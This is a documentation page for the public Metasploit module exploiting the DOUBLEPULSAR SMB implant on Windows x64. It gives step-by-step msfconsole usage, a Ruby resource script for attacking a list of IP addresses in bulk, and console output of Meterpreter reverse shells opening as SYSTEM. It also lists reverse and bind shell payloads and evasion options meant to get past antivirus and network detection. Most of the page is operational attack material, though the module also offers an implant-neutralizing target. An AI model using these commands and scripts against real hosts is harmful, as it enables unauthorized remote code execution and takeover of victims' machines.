SMB DOUBLEPULSAR Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/smb/smb_doublepulsar_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SMB DOUBLEPULSAR Remote Code Execution
Module: exploit/windows/smb/smb_doublepulsar_rce
Source code: modules/exploits/windows/smb/smb_doublepulsar_rce.rb
Disclosure date: 2017-04-14
Last modification time: 2020-05-07 20:22:56 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148
This module is also known as DOUBLEPULSAR.
This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-down: Module may crash the OS, and the OS remains down.
Basic Usage
Using smb_doublepulsar_rce against a single host
Normally, you can use exploit/windows/smb/smb_doublepulsar_rce this way:
msf > use exploit/windows/smb/smb_doublepulsar_rce
msf exploit(smb_doublepulsar_rce) > show targets
... a list of targets ...
msf exploit(smb_doublepulsar_rce) > set TARGET target-id
msf exploit(smb_doublepulsar_rce) > show options
... show and set options ...
msf exploit(smb_doublepulsar_rce) > exploit
Using smb_doublepulsar_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your smb_doublepulsar_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/smb/smb_doublepulsar_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
While this module primarily performs code execution against the implant,
the Neutralize implant
target allows you to disable the implant.
Targets
Id Name
-- ----
0 Execute payload (x64)
1 Neutralize implant
Options
DefangedMode
Set this to false
to disable defanged mode and enable module
functionality. Set this only if you're SURE you want to proceed.
ProcessName
Set this to the userland process you want to inject the payload into.
Defaults to spoolsv.exe
.
Usage
Pinging the implant:
msf5 exploit(windows/smb/smb_doublepulsar_rce) > check
[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[!] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[+] 192.168.56.115:445 - The target is vulnerable.
msf5 exploit(windows/smb/smb_doublepulsar_rce) >
Executing a payload:
msf5 exploit(windows/smb/smb_doublepulsar_rce) > set target Execute\ payload
target => Execute payload
msf5 exploit(windows/smb/smb_doublepulsar_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[!] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[*] 192.168.56.115:445 - Generating kernel shellcode with windows/x64/meterpreter/reverse_tcp
[*] 192.168.56.115:445 - Total shellcode length: 4096 bytes
[*] 192.168.56.115:445 - Encrypting shellcode with XOR key 0x33C6DC64
[*] 192.168.56.115:445 - Sending shellcode to DOUBLEPULSAR
[+] 192.168.56.115:445 - Payload execution successful
[*] Sending stage (206403 bytes) to 192.168.56.115
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.115:49158) at 2019-09-25 18:26:47 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-S7TDBIENPVM
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
Neutralizing the implant:
msf5 exploit(windows/smb/smb_doublepulsar_rce) > set target Neutralize\ implant
target => Neutralize implant
msf5 exploit(windows/smb/smb_doublepulsar_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[!] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[*] 192.168.56.115:445 - Neutralizing DOUBLEPULSAR
[+] 192.168.56.115:445 - Implant neutralization successful
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/smb_doublepulsar_rce) >
Go back to menu.
Msfconsole Usage
Here is how the windows/smb/smb_doublepulsar_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/smb/smb_doublepulsar_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show info
Name: SMB DOUBLEPULSAR Remote Code Execution
Module: exploit/windows/smb/smb_doublepulsar_rce
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2017-04-14
Provided by:
Equation Group
Shadow Brokers
zerosum0x0
Luke Jennings
wvu <[email protected]>
Jacob Robles
Module stability:
crash-os-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Execute payload (x64)
1 Neutralize implant
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
Payload information:
Space: 3316
Description:
This module executes a Metasploit payload against the Equation
Group's DOUBLEPULSAR implant for SMB as popularly deployed by
ETERNALBLUE. While this module primarily performs code execution
against the implant, the "Neutralize implant" target allows you to
disable the implant.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://nvd.nist.gov/vuln/detail/CVE-2017-0145
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://nvd.nist.gov/vuln/detail/CVE-2017-0148
https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html
https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/
https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
https://github.com/countercept/doublepulsar-detection-script
https://github.com/countercept/doublepulsar-c2-traffic-decryptor
https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1
Also known as:
DOUBLEPULSAR
Related modules:
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_eternalblue
Module Options
This is a complete list of options available in the windows/smb/smb_doublepulsar_rce exploit:
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show options
Module options (exploit/windows/smb/smb_doublepulsar_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Execute payload (x64)
Advanced Options
Here is a complete list of advanced options supported by the windows/smb/smb_doublepulsar_rce exploit:
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show advanced
Module advanced options (exploit/windows/smb/smb_doublepulsar_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DefangedMode true yes Run in defanged mode
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
ProcessName spoolsv.exe yes Process to inject payload into
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBDomain . no The Windows domain to use for authentication
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smb/smb_doublepulsar_rce module can exploit:
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Execute payload (x64)
1 Neutralize implant
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/smb_doublepulsar_rce exploit:
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
21 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
22 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
23 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
24 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
27 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
28 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
29 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
30 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
31 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
32 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
33 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
34 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
35 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
36 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
37 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
38 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
39 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
40 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
41 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
42 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
43 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
44 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
45 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
46 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
47 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
48 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
49 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
50 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
52 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
53 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
56 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/smb/smb_doublepulsar_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <MSG> - Arch: <ARCH_STR>, XOR Key: 0x<VALUE>
- DOUBLEPULSAR not detected or disabled
- An unknown error occurred
- Unable to proceed without DOUBLEPULSAR
- XOR key not found
- x86 is not a supported target
- Invalid parameters were specified
- An allocation failure occurred
- An unknown error occurred
- An unknown error occurred
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<MSG> - Arch: <ARCH_STR>, XOR Key: 0x<VALUE>
Here is a relevant code snippet related to the "<MSG> - Arch: <ARCH_STR>, XOR Key: 0x<VALUE>" error message:
152: 'x86 (32-bit)'
153: when ARCH_X64
154: 'x64 (64-bit)'
155: end
156:
157: print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
158: CheckCode::Vulnerable
159: when :not_detected
160: print_error('DOUBLEPULSAR not detected or disabled')
161: CheckCode::Safe
162: else
DOUBLEPULSAR not detected or disabled
Here is a relevant code snippet related to the "DOUBLEPULSAR not detected or disabled" error message:
155: end
156:
157: print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
158: CheckCode::Vulnerable
159: when :not_detected
160: print_error('DOUBLEPULSAR not detected or disabled')
161: CheckCode::Safe
162: else
163: print_error('An unknown error occurred')
164: CheckCode::Unknown
165: end
An unknown error occurred
Here is a relevant code snippet related to the "An unknown error occurred" error message:
158: CheckCode::Vulnerable
159: when :not_detected
160: print_error('DOUBLEPULSAR not detected or disabled')
161: CheckCode::Safe
162: else
163: print_error('An unknown error occurred')
164: CheckCode::Unknown
165: end
166: end
167:
168: def exploit
Unable to proceed without DOUBLEPULSAR
Here is a relevant code snippet related to the "Unable to proceed without DOUBLEPULSAR" error message:
179: fail_with(Failure::BadConfig, warning)
180: end
181:
182: # No ForceExploit because @tree_id and @xor_key are required
183: unless check == CheckCode::Vulnerable
184: fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
185: end
186:
187: case target.name
188: when 'Execute payload (x64)'
189: unless @xor_key
XOR key not found
Here is a relevant code snippet related to the "XOR key not found" error message:
185: end
186:
187: case target.name
188: when 'Execute payload (x64)'
189: unless @xor_key
190: fail_with(Failure::NotFound, 'XOR key not found')
191: end
192:
193: if @arch == ARCH_X86
194: fail_with(Failure::NoTarget, 'x86 is not a supported target')
195: end
x86 is not a supported target
Here is a relevant code snippet related to the "x86 is not a supported target" error message:
189: unless @xor_key
190: fail_with(Failure::NotFound, 'XOR key not found')
191: end
192:
193: if @arch == ARCH_X86
194: fail_with(Failure::NoTarget, 'x86 is not a supported target')
195: end
196:
197: print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
198: shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
199: shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
Invalid parameters were specified
Here is a relevant code snippet related to the "Invalid parameters were specified" error message:
210:
211: case calculate_doublepulsar_status(@multiplex_id, code)
212: when :success
213: print_good('Payload execution successful')
214: when :invalid_params
215: fail_with(Failure::BadConfig, 'Invalid parameters were specified')
216: when :alloc_failure
217: fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
218: else
219: fail_with(Failure::Unknown, 'An unknown error occurred')
220: end
An allocation failure occurred
Here is a relevant code snippet related to the "An allocation failure occurred" error message:
212: when :success
213: print_good('Payload execution successful')
214: when :invalid_params
215: fail_with(Failure::BadConfig, 'Invalid parameters were specified')
216: when :alloc_failure
217: fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
218: else
219: fail_with(Failure::Unknown, 'An unknown error occurred')
220: end
221: ensure
222: disconnect
An unknown error occurred
Here is a relevant code snippet related to the "An unknown error occurred" error message:
214: when :invalid_params
215: fail_with(Failure::BadConfig, 'Invalid parameters were specified')
216: when :alloc_failure
217: fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
218: else
219: fail_with(Failure::Unknown, 'An unknown error occurred')
220: end
221: ensure
222: disconnect
223: end
224:
An unknown error occurred
Here is a relevant code snippet related to the "An unknown error occurred" error message:
228:
229: case calculate_doublepulsar_status(@multiplex_id, code)
230: when :success
231: print_good('Implant neutralization successful')
232: else
233: fail_with(Failure::Unknown, 'An unknown error occurred')
234: end
235: end
236:
237: def do_smb_setup_tree(ipc_share)
238: connect(versions: [1])
Go back to menu.
Related Pull Requests
- #13417 Merged Pull Request: SMBv3 integration with Framework
- #12903 Merged Pull Request: Add RDP DOUBLEPULSAR command and control module
References
- MS17-010
- CVE-2017-0143
- CVE-2017-0144
- CVE-2017-0145
- CVE-2017-0146
- CVE-2017-0147
- CVE-2017-0148
- https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html
- https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/
- https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
- https://github.com/countercept/doublepulsar-detection-script
- https://github.com/countercept/doublepulsar-c2-traffic-decryptor
- https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1
See Also
Check also the following modules related to this module:
- auxiliary/admin/smb/ms17_010_command
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_eternalblue_win8
- exploit/windows/smb/ms17_010_psexec
- auxiliary/scanner/smb/smb_ms17_010
- exploit/windows/smb/smb_delivery
- exploit/windows/smb/smb_relay
- exploit/windows/smb/smb_rras_erraticgopher
- exploit/windows/smb/smb_shadow
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/windows/smb/generic_smb_dll_injection
- exploit/windows/smb/group_policy_startup
- exploit/windows/smb/ipass_pipe_exec
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
- exploit/windows/smb/ms07_029_msdns_zonename
